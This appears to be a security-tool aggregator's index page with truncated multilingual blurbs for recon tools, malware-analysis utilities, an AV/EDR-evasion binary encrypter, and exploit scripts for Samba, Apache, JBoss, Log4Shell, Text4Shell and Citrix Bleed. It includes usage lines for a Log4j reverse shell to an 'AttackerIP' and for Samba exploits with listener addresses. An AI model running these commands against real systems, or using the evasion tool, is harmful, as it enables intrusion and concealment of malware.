LinkedInDumper

LinkedInDumper LinkedIn API에서 회사 직원 정보를 덤프하는 Python 3 스크립트 💬 설명 LinkedInDumper는 LinkedIn 소셜 네트워킹 플랫폼에서 직원 데이터를 덤프하는 Python 3 스크립트입니다. 결과에는 이름, 성, 직위직함, 위치 및 사용자의 프로필 링크가 포함됩니다. 회사 직원이 10명 이하인 경우 모든 직원을 검색하는 데 API 호출이 2번만 필요합니다. 그렇지 않으면 API 결과를 페이지 단위로 탐색해야 합니다. --email-format CLI 플래그를 사용하면 검색된 이름...

XcInspector

XcInspector: Xcodeプロジェクトのセキュリティのために XcInspectorは、Xcodeプロジェクトファイルに潜む可能性のあるセキュリティ問題をスキャンするためのmacOSアプリおよびコマンドラインツールです。 GitLab上のソースコードリポジトリ 予定されているチェック（ルール）の一覧 なぜ必要か？ Xcodeプロジェクトがセキュリティやプライバシーを侵害するために悪用される方法がいくつか存在します。 任意のスクリプトをプロジェクトに埋め込むことができ、特定のアクション（一般的な「Build」コマンドなど）が発生した際に自動実行されるように設定できる。...

CVE-2007-2447

CVE-2007-2447 CVE-2007-2447 - Samba usermap スクリプト。 https://amriunix.com/post/cve-2007-2447-samba-usermap-script/ 使用法: root@kitploit: $ python usermapscript.py RHOST -- ターゲットアドレス RPORT -- ターゲットポート TCP : 139 LHOST -- リスンアドレス LPORT -- リスンポート インストール root@kitploit: sudo apt install python python-pip...

htrace.sh

Description htrace.sh is a shell script for http/https troubleshooting and profiling. It's also a simple wrapper around several open source security tools. For a more detailed understanding of htrace.sh, its parameters, functions and how it all works, run htrace.sh --examples or see the Wiki...

htrace.sh

설명 htrace.sh는 HTTP/HTTPS 문제 해결 및 프로파일링을 위한 셸 스크립트입니다. 또한 여러 오픈 소스 보안 도구를 간단히 래핑한 것입니다. htrace.sh의 매개변수, 기능 및 작동 방식에 대한 자세한 내용을 보려면 htrace.sh --examples를 실행하거나 Wiki를 참조하세요. 미리보기 사용 방법...

PoC-CVE-2021-41773

CVE-2021-41773 PoC CVE-2021-41773 に対して脆弱なホストを確認するための概念実証スクリプトです。 説明 https://vulners.com/cve/CVE-2021-41773 Apache HTTP Server 2.4.49-2.4.50 のパス正規化の変更に欠陥が見つかりました。 攻撃者はパストラバーサル攻撃を使用して、想定されたドキュメントルート外のファイルに URL をマッピングできる可能性があります。ドキュメントルート外のファイルが "require all denied"...

CVE-2017-12149

CVE-2017-12149 Jboss Java Deserialization RCE CVE-2017-12149 このPythonスクリプトはysoserialを使用して動的にペイロードを生成します。そのため、Javaも必要です。...

Log4j2-CVE-2021-44228-revshell

Log4j2-CVE-2021-44228-revshell 使用方法 root@kitploit: リバースシェル用: $ python3 Log4j2-revshell.py -M rev -u http://www.victimLog4j.xyz:8080 -l AttackerIP -p AttackerPort -hp HTTPServerPort 脆弱性確認用: $ python3 Log4j2-revshell.py -M check -u http://www.victimLog4j.xyz:8080 -l AttackerIP -p AttackerPort $...

dnsenum

README - dnsenum.pl 버전: 1.2.4 멀티스레드 Perl 스크립트로, 도메인의 DNS 정보를 열거하고 비연속적인 IP 블록을 발견합니다. 작업: root@kitploit: 1 호스트 주소 획득 A 레코드. 2 네임서버 획득 스레드 처리. 3 MX 레코드 획득 스레드 처리. 4 네임서버에 axfr 쿼리 수행 및 BIND 버전 획득 스레드 처리. 5 Google 스크래핑을 통해 추가 이름 및 서브도메인 획득 Google 쿼리 = "allinurl: -www site:domain". 6 파일로부터 서브도메인 무차별...

flare-floss

FLOSS 스크립트 FLOSS는 출력을 다양한 도구용 스크립트로 변환하는 기능을 지원합니다. 이 디렉터리의 렌더 스크립트를 참조하십시오. 또한 FLOSS가 난독화된 문자열을 자동으로 추출하여 IDA에 현재 로드된 모듈에 적용할 수 있는 IDA 플러그인도 있습니다. idaplugin.py는 IDA Pro 내에서 직접 실행할 수 있는 IDAPython 스크립트입니다 파일 - Script File... ALT + F7. 설치 이 스크립트들은 FLOSS GitHub 저장소에서 소스와 함께 다운로드할 수 있으며, 스크립트 실행을 위해...

FuzzAP

FuzzAP ワイヤレスネットワークを難読化するpythonスクリプト ''' 警告: 私は本職のプログラマーではなく、自分がプログラマーだとも思っていません。 一般的なSSIDリストは https://wigle.net/gps/gps/Stat から取得しました。 OUIベンダーリストは http://standards.ieee.org/develop/regauth/oui/oui.txt から、 既知のベンダー（netgear, cisco, linksys, d-link, atheros, ralink, apple）向けに解析しました。 このアイデアは、Black...

webcopilot

WebCopilot サブドメインを列挙し、XSS、SQLi、オープンリダイレクト、LFI、SSRF、RCEパラメータを抽出した後、脆弱性をスキャンする自動化ツールです。 機能 • インストール • 使い方 • WebCopilotの実行 • 使用ツール • 謝辞 WebCopilot は、ターゲットのサブドメインを列挙し、さまざまなオープンソースツールを使用してバグを検出するために設計された自動化ツールです。 このスクリプトは、まず assetfinder、sublister、subfinder、amass、findomain、hackertarget、riddler、crt...

CVE-2018-9995_check

CVE-2018-9995check DVRシリーズカメラの一括検出 使用方法:python CVE-2018-9995.py host.txt host.txtの内容は8.8.8.8:8080またはwww.baidu.comにできます。スクリプト実行後、DVRシリーズカメラを使用しているhostはresult.txtファイルに保存されます エクスプロイトツール:https://github.com/ezelf/CVE-2018-9995dvrcredentials 注:不正な使用はしないでください...

Hacknetics

Hacknetics Hacknetics 🛡️ 소유자: ice-wzl 기여자: ice-wzl, Jfox32199 기부 고려 부탁드립니다: https://buymeacoffee.com/icewzl 설명: OSCP 및 Red Teaming을 위한 원스톱 참고 자료입니다! 🚀 이 저장소에는 엄선된 코드 스니펫, 가이드, 명령어 구문, 고급 전략이 포함되어 있습니다. 한 번 클론하면 인기 있는 침투 테스트 도구와 리소스에 액세스할 수 있습니다. Topics/Tags: bash-script, batch-script, , , , , , , ...

bincrypter

プログラムのためのプライバシーと著作権保護 Linuxバイナリランタイム暗号化ツール - BASH製! あらゆるELFバイナリを難読化・暗号化 あらゆるシェルスクリプトを難読化・暗号化 AV/EDR対策: モーフィング + 毎回異なるシグネチャ 100%インメモリ。一時ファイルなし ファイルシステムを汚さない 同じバイナリを2重または3重に暗号化可能それ自身も 生成されるバイナリは高度に難読化されるstringではガベージのみ表示 LotLLiving off the Land: 必要なのは/bin/sh + perl + opensslのみ アーキテクチャ非依存:...

CVE-2022-42889-RCE

CVE-2022-42889-PoC CVE-2022-42889 のリモートコード実行エクスプロイト（Text4Shell 脆弱性）の概念実証です。 サポートのために ⭐ を付けてください ❤️ この脆弱性について CVE-2022-42889 は Spring4Shell や Log4Shell に類似した新しい重大な脆弱性です。 RCE（リモートコード実行）脆弱性であり、深刻度スコアは 9.8 です。 これにより、攻撃者は攻撃対象のマシン上で任意の悪意のあるコードを実行できます。 Apache Commons Text のバージョン 1.5 から 1.9 が影響を受けます。...

CVE-2025-31125

CVE-2025-31125 脆弱性検出ツール これは CVE-2025-31125 脆弱性を検出するための Python スクリプトツールです。 作者情報 Author: 大智 Date: 2025-04-01 機能特徴 単一ターゲットの検出に対応 複数ターゲットの一括検出に対応 検出結果の自動保存 カラー出力インターフェース 詳細な検出ログ 環境要件 Python 3.6 以上 Windows/Linux/MacOS オペレーティングシステム クイックスタート 1. 依存関係のインストール root@kitploit: 必要な依存関係を一括インストール pip install -r...

CVE-2023-4966

CVE-2023-4966 一个用于利用CVE-2023-4966 Citrix信息泄露漏洞（Bleed）的利用脚本 黑客已广泛利用此Citrix网关漏洞，本脚本支持并发，可对目标文件或单个目标进行利用 安装： root@kitploit: git clone https://github.com/sanjai-AK47/CVE-2023-4966.git cd CVE-2023-4966 pip install -r requirements.txt python3 exploit.py -h 单目标利用： root@kitploit: python3 exploit.py -d...

swaggerHole

SwaggerHub에서 비밀을 검색하는 python3 스크립트 소개 • 요구 사항 • 설치 • 사용법 • 출력 설명 • 감사 Created by Liodeus 소개 이 도구는 swaggerHub의 공개 API에서 비밀을 검색하는 과정을 자동화하기 위해 만들어졌습니다. 이 도구는 멀티스레드이며 파이프 모드를 사용할 수 있습니다 : 요구 사항 python3 sudo apt install python3 pip3 sudo apt install python3-pip 설치 root@kitploit: pip3 install...

OFFPORT_KILLER

.. raw:: html .. raw:: html KILLER PROJECT .. image:: https://img.shields.io/github/last-commit/TH3xACE/OFFPORTKILLER?style=plastic :target: https://github.com/TH3xACE/SUDOKILLER :alt: Last Commit .. raw:: html 수동 포트 스캐닝 잠재적 서비스 열거 도구가 마음에 든다면, 그리고 다른 도구를 개발할 개인적 동기 부여를 위해 +1 별표 부탁드립니다...